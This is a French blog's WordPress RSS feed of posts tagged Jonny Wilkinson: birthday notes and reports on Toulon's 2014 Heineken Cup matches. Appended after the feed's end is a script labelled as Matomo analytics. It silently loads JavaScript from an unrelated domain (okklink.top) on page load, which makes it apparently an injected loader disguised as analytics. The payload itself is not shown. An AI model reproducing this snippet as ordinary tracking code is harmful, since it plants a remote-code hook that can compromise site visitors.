<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; Jonny Wilkinson</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/jonny-wilkinson/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Ils sont nés un 25 mai</title>
		<link>http://www.nalair.fr/index.php/nalair/ils-sont-nes-un-25-mai/</link>
		<comments>http://www.nalair.fr/index.php/nalair/ils-sont-nes-un-25-mai/#comments</comments>
		<pubDate>Sat, 25 May 2024 05:00:30 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Anniversaire]]></category>
		<category><![CDATA[Nalair]]></category>
		<category><![CDATA[François Bayrou]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>
		<category><![CDATA[Sonia Rykiel]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=19760</guid>
		<description><![CDATA[Jonny Wilkinson Le joueur de rugby à XV international anglais, Jonathan Peter Wilkinson dit « Jonny Wilkinson », est né le 25 mai 1979 à Frimley, dans le comté de Surrey. Il a évolué au poste de demi d’ouverture au RC Toulon de 2009 à 2014. François Bayrou L’homme politique français, François Bayrou, est né [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/04/Jonny-Wilkinson-1.jpg"><img class="aligncenter size-full wp-image-12769" title="Jonny-Wilkinson 1" src="http://www.nalair.fr/wp-content/uploads/2013/04/Jonny-Wilkinson-1.jpg" alt="" width="387" height="551" /></a></p>
<p style="text-align: center;">Jonny Wilkinson</p>
<p>Le joueur de rugby à XV international anglais, Jonathan Peter Wilkinson dit « Jonny Wilkinson », est né le 25 mai 1979 à Frimley, dans le comté de Surrey. Il a évolué au poste de demi d’ouverture au RC Toulon de 2009 à 2014.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/05/François-Bayrou.jpg"><img class="aligncenter size-full wp-image-10351" title="François-Bayrou" src="http://www.nalair.fr/wp-content/uploads/2012/05/François-Bayrou.jpg" alt="" width="360" height="514" /></a></p>
<p style="text-align: center;">François Bayrou</p>
<p style="text-align: left;">L’homme politique français, François Bayrou, est né le 25 mai 1951 à Bordères dans les Pyrénées-Atlantiques.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2024/05/sonia-Rykiel-pf.jpg"><img class="aligncenter size-medium wp-image-26430" title="EPSON MFP image" src="http://www.nalair.fr/wp-content/uploads/2024/05/sonia-Rykiel-pf-350x496.jpg" alt="" width="350" height="496" /></a></p>
<p style="text-align: left;">
<p style="text-align: center;">Sonia Rykiel</p>
<p style="text-align: left;">Sonia Rykiel, née Sonia Flis le 25 mai 1930 à Paris et morte le 25 août 2016 dans sa ville natale, est une grande couturière et designer française.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/ils-sont-nes-un-25-mai/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joyeux anniversaires</title>
		<link>http://www.nalair.fr/index.php/nalair/18239/</link>
		<comments>http://www.nalair.fr/index.php/nalair/18239/#comments</comments>
		<pubDate>Mon, 25 May 2015 06:54:38 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Anniversaire]]></category>
		<category><![CDATA[Nalair]]></category>
		<category><![CDATA[François Bayrou]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=18239</guid>
		<description><![CDATA[François Bayrou L&#8217;homme politique français, François Bayrou, est né le 25 mai 1951 à Bordères dans les Pyrénées-Atlantiques. Jonny Wilkinson Le joueur de rugby à XV international anglais, Jonathan Peter Wilkinson dit « Jonny Wilkinson », est né le 25 mai 1979 à Frimley, dans le comté de Surrey. Il a évolué au poste de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/05/François-Bayrou.jpg"><img class="aligncenter size-full wp-image-10351" title="François-Bayrou" src="http://www.nalair.fr/wp-content/uploads/2012/05/François-Bayrou.jpg" alt="" width="405" height="578" /></a></p>
<p style="text-align: center;">François Bayrou</p>
<p style="text-align: left;">L&#8217;homme politique français, François Bayrou,  est né le 25 mai 1951 à Bordères dans les Pyrénées-Atlantiques.</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: left;">
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2010/03/jonny-wilkinson.jpg"><img class="aligncenter size-full wp-image-4667" title="jonny-wilkinson" src="http://www.nalair.fr/wp-content/uploads/2010/03/jonny-wilkinson.jpg" alt="" width="415" height="600" /></a></p>
<p style="text-align: center;">Jonny Wilkinson</p>
<p style="text-align: left;">Le joueur de rugby à XV international anglais, Jonathan Peter Wilkinson dit « Jonny Wilkinson », est né le 25 mai 1979 à Frimley, dans le comté de Surrey. Il a évolué au poste de demi d&#8217;ouverture au RC Toulon de 2009 à 2014.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/18239/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finale de la H cup, Toulon succède à Toulon</title>
		<link>http://www.nalair.fr/index.php/nalair/finale-de-la-h-cup-toulon-succede-a-toulon/</link>
		<comments>http://www.nalair.fr/index.php/nalair/finale-de-la-h-cup-toulon-succede-a-toulon/#comments</comments>
		<pubDate>Sun, 25 May 2014 05:01:51 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>
		<category><![CDATA[le RCT]]></category>
		<category><![CDATA[les Saracens]]></category>
		<category><![CDATA[Matt Giteau]]></category>
		<category><![CDATA[Owen Farell]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=15730</guid>
		<description><![CDATA[Dès la 3e minute Ownen Farell donne l&#8217;avantage à Saracens sur pénalité 3 à 0. Après avoir buté sur un mur pendant 30 minutes enfin le RCT fait sauter le verrou de la défense des Saracens et l&#8217;australien Matt Giteau au départ de l&#8217;action la conclue en marquant le premier essai. Sir Jonny Wilkinson confirme [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/02/Owen-farell.jpg"><img class="aligncenter size-full wp-image-12462" title="Owen-farell" src="http://www.nalair.fr/wp-content/uploads/2013/02/Owen-farell.jpg" alt="" width="548" height="395" /></a></p>
<p style="text-align: left;">Dès la 3e minute Ownen Farell donne l&#8217;avantage à Saracens sur pénalité 3 à 0. Après avoir buté sur un mur pendant 30 minutes enfin le RCT fait sauter le verrou de la défense des Saracens et l&#8217;australien Matt Giteau au départ de l&#8217;action la conclue en marquant le premier essai.</p>
<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2014/05/Matt-Giteau.jpg"><img class="aligncenter size-full wp-image-15733" title="Matt-Giteau" src="http://www.nalair.fr/wp-content/uploads/2014/05/Matt-Giteau.jpg" alt="" width="498" height="695" /></a></p>
<p style="text-align: left;">Sir Jonny Wilkinson confirme son statut de star en transformant comme à la parade  et le RTC prend les commandes 7 à 3. Mais le meilleur est à venir à la fin de cette première mi-temps quand Wilkinson, encore lui, passe un drop fabuleux, comme à la parade,  à la 37e minute. Dès le début de 2 e mi-temps à la 46e min Owen Farell réduit l&#8217;écart sur pénalité, 10 à 6,mais cette avantage sera qu&#8217;éphémère puisque Wilkinson remet les pendules à l&#8217;heure à la 53e min, 13 à 6. Le RTC remet la pression et c&#8217;est à la 57e minute que Juan Smith marque le deuxième essai qui bien entendu est transformé par le métronome Wilkinson.</p>
<p style="text-align: center;">
<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2013/04/Jonny-Wilkinson-1.jpg"><img class="aligncenter size-full wp-image-12769" title="Jonny-Wilkinson 1" src="http://www.nalair.fr/wp-content/uploads/2013/04/Jonny-Wilkinson-1.jpg" alt="" width="436" height="620" /></a> Owen Farell s&#8217;énerve et fait une faute qui alourdit tout de suite la douloureuse, parce que le maître Wilkinson ne rate pas l&#8217;occasion de mettre le RCT loin devant avec 17 points d&#8217;avance. Le RCT succède à lui même et devient pour la deuxième fois consécutive champion d&#8217;Europe. Toulon était vraiment le plus fort et n&#8217;a laissé aucune chance à son valeureux adversaire.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/finale-de-la-h-cup-toulon-succede-a-toulon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le RCT assure sa place en finale</title>
		<link>http://www.nalair.fr/index.php/nalair/15496/</link>
		<comments>http://www.nalair.fr/index.php/nalair/15496/#comments</comments>
		<pubDate>Mon, 28 Apr 2014 05:52:06 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Clermont]]></category>
		<category><![CDATA[Ian Keatley]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>
		<category><![CDATA[la H cup]]></category>
		<category><![CDATA[le RCT]]></category>
		<category><![CDATA[Mannix]]></category>
		<category><![CDATA[Millennium Stadium]]></category>
		<category><![CDATA[Munster]]></category>
		<category><![CDATA[Saracens]]></category>
		<category><![CDATA[Toulon]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=15496</guid>
		<description><![CDATA[Dès la 5e minute Wikilson débloque le score, mais cet avantage n&#8217;est que déjeuner de soleil puisque son homologue irlandais égalise 3 minutes après.Pour l&#8217;instant c&#8217;est un duel de buteur puisqu&#8217;à la 18 e minute le buteur toulonnais redonne l&#8217;avantage à son équipe. Les irlandais sont beaucoup pénalisés, Wilkilson cependant rate la 3e pénalité à [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/04/Jonny-Wilkinson-1.jpg"><img class="aligncenter size-full wp-image-12769" title="Jonny-Wilkinson 1" src="http://www.nalair.fr/wp-content/uploads/2013/04/Jonny-Wilkinson-1.jpg" alt="" width="387" height="551" /></a></p>
<p style="text-align: left;">Dès la 5e minute Wikilson débloque le score, mais cet avantage n&#8217;est que déjeuner de soleil puisque son homologue irlandais égalise 3 minutes après.Pour l&#8217;instant c&#8217;est un duel de buteur puisqu&#8217;à la 18 e minute le buteur toulonnais redonne l&#8217;avantage à son équipe. Les irlandais sont beaucoup pénalisés, Wilkilson cependant rate la 3e pénalité à la 24e min mais passe la suivante à la 26e. qui rerègle la mire. Mais le chassez croiser continue et le irlandais revienne rapidement à  9 à 6. Wilkinson avec une grande classe passe un drop et les toulonnais conservent leur avantage de 6 points, juste avant la mi=temps. C&#8217;était sans compter sans l&#8217;ouvreur irlandais qui réduit à nouveau le score, 12 à 9. Les sanctions se suivent et voilà déjà la 7e pénalité que Wilkinson passe comme à la parade. Juste avant la mi-temps les irlandais écopent d&#8217;une nouvelle pénalité que Wilkinson confie à Delon Armitage qui la transforme.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/04/Mannix.jpg"><img class="aligncenter size-full wp-image-15497" title="Mannix" src="http://www.nalair.fr/wp-content/uploads/2014/04/Mannix.jpg" alt="" width="395" height="557" /></a></p>
<p style="text-align: center;">Mannix entraineur des avants du Munster et futur manager palois la saison prochaine a déclaré : &#8221;En finale, je mets mon chapeau français&#8221;</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/04/WIlkinson-Keatley-.jpg"><img class="aligncenter size-full wp-image-15502" title="WIlkinson-Keatley-" src="http://www.nalair.fr/wp-content/uploads/2014/04/WIlkinson-Keatley-.jpg" alt="" width="492" height="695" /></a></p>
<p style="text-align: center;">Wilkinson fut encore une fois la cheville ouvrière de cette victoire avec 21 points sur 24</p>
<p style="text-align: center;">
<p style="text-align: left;">Le Munster avait éliminé Toulouse en quart de finale et il s&#8217;agissait d&#8217;avoir une ligne de défense béton, la moindre erreur et c&#8217;était perdre l&#8217;avantage qui fut tout une partie de la seconde mi-temps ténu puisque seulement de 2 petits points. Du reste le seul essai fut Irlandais, et cette équipe du Munster s&#8217;est battu et a mis la pression en permanence et jusqu&#8217;à la dernière pénalité encore une fois réussie pas l&#8217;inoxydable Jonny qui fut le boss de cette équipe du RCT. Pour leur 3e participation à la H cup se retrouver deux fois en finale et tenant du titre, c&#8217;est une véritable prouesse.</p>
<p style="text-align: center;">
<div>file://localhost/Users/alainroche/Desktop/images%20pour%20face/</div>
</p>
<p><a href="http://www.nalair.fr/wp-content/uploads/2014/04/Bastareaud-Habana.jpg"><img class="aligncenter size-full wp-image-15505" title="Bastareaud-Habana" src="http://www.nalair.fr/wp-content/uploads/2014/04/Bastareaud-Habana.jpg" alt="" width="449" height="627" /></a></p>
<p style="text-align: left;">C&#8217;est la joie dans le camp du RCT qui n&#8217;a jamais cessé d&#8217;y croire, on voit ici Habana congratuler son ami Bastareaud qui comme à l&#8217;accoutumée fit une partie exceptionnelle. Cette année encore le finale de la H Cup, qui aura lieu le samedi 24 mai au Millennium Stadium, sera particulièrement relevée face à une équipe de Saracens qui n&#8217;a fait qu&#8217;une bouchée de Clermont (46 à 6). Du beau rugby en perspective!</p>
<p style="text-align: left;">
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/15496/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let&#8217;s Recap&#8230;récapitulons</title>
		<link>http://www.nalair.fr/index.php/nalair/lets-recaprecapitulons-12/</link>
		<comments>http://www.nalair.fr/index.php/nalair/lets-recaprecapitulons-12/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 06:30:52 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Benoît XVI]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>
		<category><![CDATA[Lionel Messi]]></category>
		<category><![CDATA[Liu Xiaobo]]></category>
		<category><![CDATA[Michael Schumacher]]></category>
		<category><![CDATA[Mir Hossein Moussavi]]></category>
		<category><![CDATA[Silvio Berlusconi]]></category>
		<category><![CDATA[Yves Rocher]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=4091</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="visibility:visible;"><object type="application/x-shockwave-flash" data="http://widget-18.slide.com/widgets/slideticker.swf" height="320" width="426" style="width:426px;height:320px"><param name="movie" value="http://widget-18.slide.com/widgets/slideticker.swf" /><param name="quality" value="high" /><param name="scale" value="noscale" /><param name="salign" value="l" /><param name="wmode" value="transparent"/><param name="flashvars" value="cy=ms&#038;il=1&#038;channel=3242591731746969112&#038;site=widget-18.slide.com"/></object></p>
<p style="white-space:nowrap"><a href="http://www.slide.com/pivot?cy=ms&#038;at=un&#038;id=3242591731746969112&#038;map=1" target="_blank"><img src="http://widget-18.slide.com/p1/3242591731746969112/ms_t024_v000_s0un_f00/images/xslide1.gif" border="0" ismap="ismap" /></a> <a href="http://www.slide.com/pivot?cy=ms&#038;at=un&#038;id=3242591731746969112&#038;map=2" target="_blank"><img src="http://widget-18.slide.com/p2/3242591731746969112/ms_t024_v000_s0un_f00/images/xslide2.gif" border="0" ismap="ismap" /></a> <a href="http://www.slide.com/pivot?cy=ms&#038;at=un&#038;id=3242591731746969112&#038;map=F" target="_blank"><img src="http://widget-18.slide.com/p4/3242591731746969112/ms_t024_v000_s0un_f00/images/xslide42.gif" border="0" ismap="ismap" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/lets-recaprecapitulons-12/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les jeux sont faits, Wilkinson a gagné</title>
		<link>http://www.nalair.fr/index.php/nalair/les-jeux-sont-faits-wilkinson-a-gagne/</link>
		<comments>http://www.nalair.fr/index.php/nalair/les-jeux-sont-faits-wilkinson-a-gagne/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 06:45:26 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>
		<category><![CDATA[le RC Toulon]]></category>
		<category><![CDATA[rugby à XV]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=4074</guid>
		<description><![CDATA[Le joueur international de rugby à XV, l&#8217;anglais Jonny Wilkinson, officier de l&#8217;Ordre de l&#8217;Empire britannique, est né le 25 mais 1979 ç Frimley. En l&#8217;espace de douze ans, Jonny Wilkinson s&#8217;est construit un palmarès conséquent, le titre de Champion du monde 2003 restant l&#8217;exploit le plus retentissant de sa carrière. Il est retenu en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2009/12/jonny-wilkinson.jpg"><img class="aligncenter size-medium wp-image-4075" title="jonny-wilkinson" src="http://www.nalair.fr/wp-content/uploads/2009/12/jonny-wilkinson-350x505.jpg" alt="jonny-wilkinson" width="350" height="505" /></a>Le joueur international de rugby à XV, l&#8217;anglais Jonny Wilkinson, officier de l&#8217;Ordre de l&#8217;Empire britannique, est né le 25 mais 1979 ç Frimley. En l&#8217;espace de douze ans, Jonny Wilkinson s&#8217;est construit un palmarès conséquent, le titre de Champion du monde 2003 restant l&#8217;exploit le plus retentissant de sa carrière. Il est retenu en sélection nationale pour la première fois à l&#8217;âge de 18 ans. Il devient célèbre au cours des saisons 2001-20002 et 2002-2003, période durant laquelle il est considéré comme l&#8217;un des meilleurs joueurs du monde. Grâce à un coup de pied hors du commun, Jonny Wilkinson a battu une quantité de records et affolé les statistiques. Après de multiples blessures qui l&#8217;ont maintenu plus d&#8217;un an hors des terrains, il retrouve son meilleur niveau à force de travail et de volonté. Il évolue actuellement au poste de demi d&#8217;ouverture au RC Toulon. Grâce à tous ces contrats, avec des revenus totaux estimés à plus de 2 000 0000 d&#8217;euros par an il est un des joueurs de rugby les mieux payés au monde et les plus populaires. Aussi tranchant qu&#8217;un rasoir, Wilkinson restera l&#8217;homme qui a offert sa première Coupe du monde à une nation de l&#8217;hémisphère nord.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/les-jeux-sont-faits-wilkinson-a-gagne/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Résulats du sondage du mois de décembre</title>
		<link>http://www.nalair.fr/index.php/nalair/resulats-du-sondage-du-mois-de-decembre/</link>
		<comments>http://www.nalair.fr/index.php/nalair/resulats-du-sondage-du-mois-de-decembre/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 12:59:51 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sondage]]></category>
		<category><![CDATA[décembre]]></category>
		<category><![CDATA[Jonny Wilkinson]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=4078</guid>
		<description><![CDATA[Comme chaque mois  vous choisissez une personnalité que je vais vous dessiner.Jonny Wilkinson a transformé encore une fois avec succès et je vais donc  le dessiner pour vous, demain pour la nouvelle année. N&#8217;oubliez pas de voter pour le prochain sondage people.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2009/12/resultats-du-sondage-du-mois-de-decembre.jpg"><img class="aligncenter size-full wp-image-4079" title="resultats-du-sondage-du-mois-de-decembre" src="http://www.nalair.fr/wp-content/uploads/2009/12/resultats-du-sondage-du-mois-de-decembre.jpg" alt="resultats-du-sondage-du-mois-de-decembre" width="499" height="376" /></a></p>
<p>Comme chaque mois  vous choisissez une personnalité que je vais vous dessiner.Jonny Wilkinson a transformé encore une fois avec succès et je vais donc  le dessiner pour vous, demain pour la nouvelle année. N&#8217;oubliez pas de voter pour le prochain sondage people.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/resulats-du-sondage-du-mois-de-decembre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1776432492"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
